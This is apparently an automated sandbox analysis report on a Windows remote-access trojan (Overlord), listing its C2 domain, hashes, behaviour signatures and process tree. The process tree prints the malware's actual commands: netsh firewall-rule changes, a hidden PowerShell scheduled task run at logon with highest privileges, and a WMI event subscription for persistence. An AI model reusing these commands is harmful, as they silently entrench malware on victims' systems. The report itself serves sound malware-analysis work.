Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/11/2026, 02:14

General

  • Target
    2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 13.0MB
  • Sample261109-cn5dpas16j
  • SHA256 774922d2caacaf4628ed9a9938d6212f4c38a82d4f9b577b3aeb0066046caeef
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • overlord

C2
  • overlord.soft-beam.boxd.sh

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

  • Detects Overlord RAT 1 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 4 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4716
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall delete rule name=2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe program=C:\Users\Admin\AppData\Local\Temp\2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_9598e755' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2476
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name=2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\2026-11-08_69ee97aa10e34bbd63a4a21ed6418d97_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe enable=yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:4136
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe"
    1⤵
    • Creates a file in the Startup directory
    • Executes dropped EXE
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Checks processor information in registry
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall delete rule name=ovd_7588ec45d6f1.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_9598e755' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5960
    • C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name=ovd_7588ec45d6f1.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe enable=yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f9598e755'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c9598e755'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_7588ec45d6f1.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f9598e755'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c9598e755'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:2452

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_3aymbs2s.ezk.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3aymbs2s.ezk.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        agent-352541407.tmp

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-352541407.tmp
        • Size 13.0MB
        • SHA256 774922d2caacaf4628ed9a9938d6212f4c38a82d4f9b577b3aeb0066046caeef
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2476-22-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-27-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-15-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-16-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-19-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-20-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-21-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-11-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-26-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-14-0x000001A0B7850000-0x000001A0B7872000-memory.dmp

        memory/2476-28-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-29-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-30-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-10-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-46-0x00007FF9CBA30000-0x00007FF9CC3D4000-memory.dmp

        memory/2476-9-0x00007FF9CBBBF000-0x00007FF9CBBC0000-memory.dmp

        memory/5960-41-0x0000025626C90000-0x0000025626C9A000-memory.dmp

        memory/5960-42-0x0000025627200000-0x000002562721E000-memory.dmp

        memory/5960-37-0x0000025626EB0000-0x0000025626ECE000-memory.dmp

        memory/5960-38-0x0000025626ED0000-0x0000025626F82000-memory.dmp